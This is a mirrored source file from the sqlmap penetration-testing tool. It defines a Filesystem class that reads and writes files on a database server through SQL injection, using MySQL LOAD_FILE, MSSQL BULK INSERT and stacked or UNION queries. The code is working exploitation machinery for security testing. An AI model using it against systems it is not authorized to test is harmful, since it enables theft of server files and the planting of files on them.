mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2024-11-26 03:23:48 +03:00
269 lines
9.7 KiB
Python
269 lines
9.7 KiB
Python
#!/usr/bin/env python
|
|
|
|
"""
|
|
Copyright (c) 2006-2012 sqlmap developers (http://sqlmap.org/)
|
|
See the file 'doc/COPYING' for copying permission
|
|
"""
|
|
|
|
import codecs
|
|
import os
|
|
|
|
from lib.core.agent import agent
|
|
from lib.core.common import dataToOutFile
|
|
from lib.core.common import Backend
|
|
from lib.core.common import decodeHexValue
|
|
from lib.core.common import isNumPosStrValue
|
|
from lib.core.common import isListLike
|
|
from lib.core.common import isTechniqueAvailable
|
|
from lib.core.common import randomStr
|
|
from lib.core.common import readInput
|
|
from lib.core.data import conf
|
|
from lib.core.data import kb
|
|
from lib.core.data import logger
|
|
from lib.core.enums import DBMS
|
|
from lib.core.enums import CHARSET_TYPE
|
|
from lib.core.enums import EXPECTED
|
|
from lib.core.enums import PAYLOAD
|
|
from lib.core.exception import SqlmapUndefinedMethod
|
|
from lib.request import inject
|
|
|
|
class Filesystem:
|
|
"""
|
|
This class defines generic OS file system functionalities for plugins.
|
|
"""
|
|
|
|
def __init__(self):
|
|
self.fileTblName = "sqlmapfile"
|
|
self.tblField = "data"
|
|
|
|
def _checkFileLength(self, localFile, remoteFile, fileRead=False):
|
|
if Backend.isDbms(DBMS.MYSQL):
|
|
lengthQuery = "SELECT LENGTH(LOAD_FILE('%s'))" % remoteFile
|
|
|
|
elif Backend.isDbms(DBMS.PGSQL):
|
|
if fileRead:
|
|
lengthQuery = True
|
|
else:
|
|
lengthQuery = "SELECT LENGTH(data) FROM pg_largeobject WHERE loid=%d" % self.oid
|
|
|
|
elif Backend.isDbms(DBMS.MSSQL):
|
|
self.createSupportTbl(self.fileTblName, self.tblField, "text")
|
|
|
|
# Reference: http://msdn.microsoft.com/en-us/library/ms188365.aspx
|
|
inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (self.fileTblName, remoteFile, randomStr(10), randomStr(10)))
|
|
|
|
lengthQuery = "SELECT DATALENGTH(%s) FROM %s" % (self.tblField, self.fileTblName)
|
|
|
|
localFileSize = os.path.getsize(localFile)
|
|
|
|
logger.debug("checking the length of the remote file %s" % remoteFile)
|
|
remoteFileSize = inject.getValue(lengthQuery, resumeValue=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
|
|
sameFile = None
|
|
|
|
if isNumPosStrValue(remoteFileSize):
|
|
remoteFileSize = long(remoteFileSize)
|
|
sameFile = False
|
|
|
|
if localFileSize == remoteFileSize:
|
|
sameFile = True
|
|
infoMsg = "the local file %s and the remote file " % localFile
|
|
infoMsg += "%s have the same size" % remoteFile
|
|
elif remoteFileSize > localFileSize:
|
|
infoMsg = "the remote file %s is larger than " % remoteFile
|
|
infoMsg += "the local file %s" % localFile
|
|
else:
|
|
infoMsg = "the remote file %s is smaller than " % remoteFile
|
|
infoMsg += "file '%s' (%d bytes)" % (localFile, localFileSize)
|
|
|
|
logger.info(infoMsg)
|
|
else:
|
|
sameFile = False
|
|
warnMsg = "it looks like the file has not been written, this "
|
|
warnMsg += "can occur if the DBMS process' user has no write "
|
|
warnMsg += "privileges in the destination path"
|
|
logger.warn(warnMsg)
|
|
|
|
return sameFile
|
|
|
|
def fileToSqlQueries(self, fcEncodedList):
|
|
"""
|
|
Called by MySQL and PostgreSQL plugins to write a file on the
|
|
back-end DBMS underlying file system
|
|
"""
|
|
|
|
counter = 0
|
|
sqlQueries = []
|
|
|
|
for fcEncodedLine in fcEncodedList:
|
|
if counter == 0:
|
|
sqlQueries.append("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, fcEncodedLine))
|
|
else:
|
|
updatedField = agent.simpleConcatQuery(self.tblField, fcEncodedLine)
|
|
sqlQueries.append("UPDATE %s SET %s=%s" % (self.fileTblName, self.tblField, updatedField))
|
|
|
|
counter += 1
|
|
|
|
return sqlQueries
|
|
|
|
def fileEncode(self, fileName, encoding, single):
|
|
"""
|
|
Called by MySQL and PostgreSQL plugins to write a file on the
|
|
back-end DBMS underlying file system
|
|
"""
|
|
|
|
retVal = []
|
|
with codecs.open(fileName, "rb") as f:
|
|
content = f.read().encode(encoding).replace("\n", "")
|
|
|
|
if not single:
|
|
if len(content) > 256:
|
|
for i in xrange(0, len(content), 256):
|
|
_ = content[i:i+256]
|
|
|
|
if encoding == "hex":
|
|
_ = "0x%s" % _
|
|
elif encoding == "base64":
|
|
_ = "'%s'" % _
|
|
|
|
retVal.append(_)
|
|
|
|
if not retVal:
|
|
if encoding == "hex":
|
|
content = "0x%s" % content
|
|
elif encoding == "base64":
|
|
content = "'%s'" % content
|
|
|
|
retVal = [ content ]
|
|
|
|
return retVal
|
|
|
|
def askCheckWrittenFile(self, localFile, remoteFile):
|
|
message = "do you want confirmation that the local file '%s' " % localFile
|
|
message += "has been successfully written on the back-end DBMS "
|
|
message += "file system (%s)? [Y/n] " % remoteFile
|
|
output = readInput(message, default="Y")
|
|
|
|
if not output or output in ("y", "Y"):
|
|
return self._checkFileLength(localFile, remoteFile)
|
|
|
|
return True
|
|
|
|
def askCheckReadFile(self, localFile, remoteFile):
|
|
message = "do you want confirmation that the remote file '%s' " % remoteFile
|
|
message += "has been successfully downloaded from the back-end "
|
|
message += "DBMS file system? [Y/n] "
|
|
output = readInput(message, default="Y")
|
|
|
|
if not output or output in ("y", "Y"):
|
|
return self._checkFileLength(localFile, remoteFile, True)
|
|
|
|
return True
|
|
|
|
def nonStackedReadFile(self, remoteFile):
|
|
errMsg = "'nonStackedReadFile' method must be defined "
|
|
errMsg += "into the specific DBMS plugin"
|
|
raise SqlmapUndefinedMethod, errMsg
|
|
|
|
def stackedReadFile(self, remoteFile):
|
|
errMsg = "'stackedReadFile' method must be defined "
|
|
errMsg += "into the specific DBMS plugin"
|
|
raise SqlmapUndefinedMethod, errMsg
|
|
|
|
def unionWriteFile(self, localFile, remoteFile, fileType):
|
|
errMsg = "'unionWriteFile' method must be defined "
|
|
errMsg += "into the specific DBMS plugin"
|
|
raise SqlmapUndefinedMethod, errMsg
|
|
|
|
def stackedWriteFile(self, localFile, remoteFile, fileType):
|
|
errMsg = "'stackedWriteFile' method must be defined "
|
|
errMsg += "into the specific DBMS plugin"
|
|
raise SqlmapUndefinedMethod, errMsg
|
|
|
|
def readFile(self, remoteFiles):
|
|
fileContent = None
|
|
remoteFilePaths = []
|
|
|
|
self.checkDbmsOs()
|
|
|
|
for remoteFile in remoteFiles.split(","):
|
|
kb.fileReadMode = True
|
|
|
|
if conf.direct or isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED):
|
|
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED):
|
|
debugMsg = "going to read the file with stacked query SQL "
|
|
debugMsg += "injection technique"
|
|
logger.debug(debugMsg)
|
|
|
|
fileContent = self.stackedReadFile(remoteFile)
|
|
elif Backend.isDbms(DBMS.MYSQL):
|
|
debugMsg = "going to read the file with a non-stacked query "
|
|
debugMsg += "SQL injection technique"
|
|
logger.debug(debugMsg)
|
|
|
|
fileContent = self.nonStackedReadFile(remoteFile)
|
|
else:
|
|
errMsg = "none of the SQL injection techniques detected can "
|
|
errMsg += "be used to read files from the underlying file "
|
|
errMsg += "system of the back-end %s server" % Backend.getDbms()
|
|
logger.error(errMsg)
|
|
|
|
return None
|
|
|
|
kb.fileReadMode = False
|
|
|
|
if fileContent in (None, "") and not Backend.isDbms(DBMS.PGSQL):
|
|
self.cleanup(onlyFileTbl=True)
|
|
|
|
return
|
|
elif isListLike(fileContent):
|
|
newFileContent = ""
|
|
|
|
for chunk in fileContent:
|
|
if isListLike(chunk):
|
|
if len(chunk) > 0:
|
|
chunk = chunk[0]
|
|
else:
|
|
chunk = ""
|
|
|
|
if chunk:
|
|
newFileContent += chunk
|
|
|
|
fileContent = newFileContent
|
|
|
|
fileContent = decodeHexValue(fileContent)
|
|
remoteFilePath = dataToOutFile(fileContent)
|
|
|
|
if not Backend.isDbms(DBMS.PGSQL):
|
|
self.cleanup(onlyFileTbl=True)
|
|
|
|
self.askCheckReadFile(remoteFilePath, remoteFile)
|
|
|
|
remoteFilePaths.append(remoteFilePath)
|
|
|
|
return remoteFilePaths
|
|
|
|
def writeFile(self, localFile, remoteFile, fileType=None):
|
|
self.checkDbmsOs()
|
|
|
|
if conf.direct or isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED):
|
|
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED):
|
|
debugMsg = "going to upload the %s file with " % fileType
|
|
debugMsg += "stacked query SQL injection technique"
|
|
logger.debug(debugMsg)
|
|
|
|
self.stackedWriteFile(localFile, remoteFile, fileType)
|
|
self.cleanup(onlyFileTbl=True)
|
|
elif isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) and Backend.isDbms(DBMS.MYSQL):
|
|
debugMsg = "going to upload the %s file with " % fileType
|
|
debugMsg += "UNION query SQL injection technique"
|
|
logger.debug(debugMsg)
|
|
|
|
self.unionWriteFile(localFile, remoteFile, fileType)
|
|
else:
|
|
errMsg = "none of the SQL injection techniques detected can "
|
|
errMsg += "be used to write files to the underlying file "
|
|
errMsg += "system of the back-end %s server" % Backend.getDbms()
|
|
logger.error(errMsg)
|
|
|
|
return None
|